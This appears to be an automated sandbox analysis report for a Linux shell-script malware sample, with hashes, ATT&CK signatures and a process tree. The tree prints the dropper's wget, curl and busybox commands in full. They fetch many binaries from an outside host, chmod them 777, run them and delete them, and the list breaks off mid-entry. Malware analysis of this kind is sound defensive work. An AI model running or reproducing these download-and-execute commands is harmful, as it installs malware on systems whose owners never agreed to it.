c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095

Analysis

max time kernel
93s
max time network
94s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/11/2024, 03:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095.sh
Size 10KB
Sample241122-dkqxkayrdl
SHA256 c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095
MD5 34b8d9bb32acae6761cd682676ee73bf
SHA1 9f8cb3c8b85908b2843dbecaefde53be6d59523d
SHA512 caba7df4aaa7f758aa7e726ff2b356645fe3d53e43c026fa35680ff16f337cc68253b497cded85b2fca4b5ba6afb8c94e57f13a67f52b0538efe8403600cdfc0
SSDEEP 96:YKCuzbz3zUZpmLXrLUqixeB5ML7XVAL1VDIE3lDfBLNNnLbDbfbiiEBNU5RELMQI:nopFA7fHDiiEBNj6YuHDiiEBKTT
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1008	chmod
847	chmod
896	chmod
945	chmod
994	chmod
1001	chmod
959	chmod
861	chmod
924	chmod
966	chmod
973	chmod
882	chmod
952	chmod
987	chmod
786	chmod
854	chmod
875	chmod
830	chmod
938	chmod
910	chmod
917	chmod
868	chmod
889	chmod
903	chmod
931	chmod
980	chmod
793	chmod
837	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
853	busybox
920	wget
937	busybox
942	curl
991	curl
998	curl
836	busybox
851	curl
857	wget
893	curl
788	rm
886	curl
900	curl
913	wget
970	curl
834	curl
962	wget
864	wget
879	curl
935	curl
948	wget
949	curl
983	wget
720	wget
771	busybox
787	9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
923	busybox
867	busybox
899	wget
927	wget
958	busybox
986	busybox
993	busybox
874	busybox
921	curl
947	rm
1007	busybox
977	curl
881	busybox
907	curl
914	curl
934	wget
946	9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
969	wget
972	busybox
1000	busybox
754	curl
792	busybox
843	wget
860	busybox
951	busybox
963	curl
965	busybox
833	wget
888	busybox
984	curl
846	busybox
865	curl
872	curl
895	busybox
902	busybox
944	busybox
979	busybox
1005	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9	curl
File opened for modification	/tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl	curl
File opened for modification	/tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG	curl
File opened for modification	/tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT	curl
File opened for modification	/tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB	curl
File opened for modification	/tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl	curl
File opened for modification	/tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW	curl
File opened for modification	/tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O	curl
File opened for modification	/tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F	curl
File opened for modification	/tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak	curl
File opened for modification	/tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ	curl
File opened for modification	/tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB	curl
File opened for modification	/tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB	curl
File opened for modification	/tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC	curl
File opened for modification	/tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT	curl
File opened for modification	/tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB	curl
File opened for modification	/tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT	curl
File opened for modification	/tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC	curl
File opened for modification	/tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F	curl
File opened for modification	/tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG	curl
File opened for modification	/tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ	curl
File opened for modification	/tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O	curl
File opened for modification	/tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE	curl
File opened for modification	/tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE	curl
File opened for modification	/tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak	curl
File opened for modification	/tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW	curl
File opened for modification	/tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT	curl
File opened for modification	/tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9	curl

/tmp/c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095.sh
/tmp/c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095.sh
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - System Network Configuration Discovery
  PID:720
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - System Network Configuration Discovery
  PID:771
- /bin/chmod
  chmod 777 9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  ./9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:787
- /bin/rm
  rm 9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - System Network Configuration Discovery
  PID:788
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - System Network Configuration Discovery
  PID:792
- /bin/chmod
  chmod 777 PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  ./PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  PID:795
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  PID:829
- /bin/chmod
  chmod 777 pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  ./pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  PID:832
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - System Network Configuration Discovery
  PID:833
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - System Network Configuration Discovery
  PID:836
- /bin/chmod
  chmod 777 SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  ./SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  PID:842
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - System Network Configuration Discovery
  PID:843
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - System Network Configuration Discovery
  PID:846
- /bin/chmod
  chmod 777 JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  ./JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  PID:849
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - System Network Configuration Discovery
  PID:853
- /bin/chmod
  chmod 777 QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  ./QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  PID:856
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - System Network Configuration Discovery
  PID:857
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - System Network Configuration Discovery
  PID:860
- /bin/chmod
  chmod 777 aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  ./aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  PID:863
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - System Network Configuration Discovery
  PID:864
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - System Network Configuration Discovery
  PID:867
- /bin/chmod
  chmod 777 pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  ./pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  PID:870
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - System Network Configuration Discovery
  PID:874
- /bin/chmod
  chmod 777 nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  ./nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - System Network Configuration Discovery
  PID:881
- /bin/chmod
  chmod 777 slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  ./slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  PID:884
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - System Network Configuration Discovery
  PID:888
- /bin/chmod
  chmod 777 xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  ./xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  PID:891
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - System Network Configuration Discovery
  PID:895
- /bin/chmod
  chmod 777 L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  ./L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  PID:898
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/chmod
  chmod 777 8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  ./8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm 8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  PID:905
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  PID:909
- /bin/chmod
  chmod 777 9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  ./9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm 9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  PID:912
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - System Network Configuration Discovery
  PID:913
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  PID:916
- /bin/chmod
  chmod 777 L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  ./L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  PID:919
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/chmod
  chmod 777 8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  ./8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm 8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  PID:926
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - System Network Configuration Discovery
  PID:927
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  PID:930
- /bin/chmod
  chmod 777 9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  ./9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm 9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  PID:933
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - System Network Configuration Discovery
  PID:934
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/chmod
  chmod 777 xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  ./xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  PID:940
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - System Network Configuration Discovery
  PID:944
- /bin/chmod
  chmod 777 9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  ./9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:946
- /bin/rm
  rm 9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - System Network Configuration Discovery
  PID:947
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - System Network Configuration Discovery
  PID:948
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - System Network Configuration Discovery
  PID:951
- /bin/chmod
  chmod 777 PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  ./PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  PID:954
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - System Network Configuration Discovery
  PID:958
- /bin/chmod
  chmod 777 pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  ./pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  PID:961
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - System Network Configuration Discovery
  PID:962
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - System Network Configuration Discovery
  PID:965
- /bin/chmod
  chmod 777 SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  ./SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
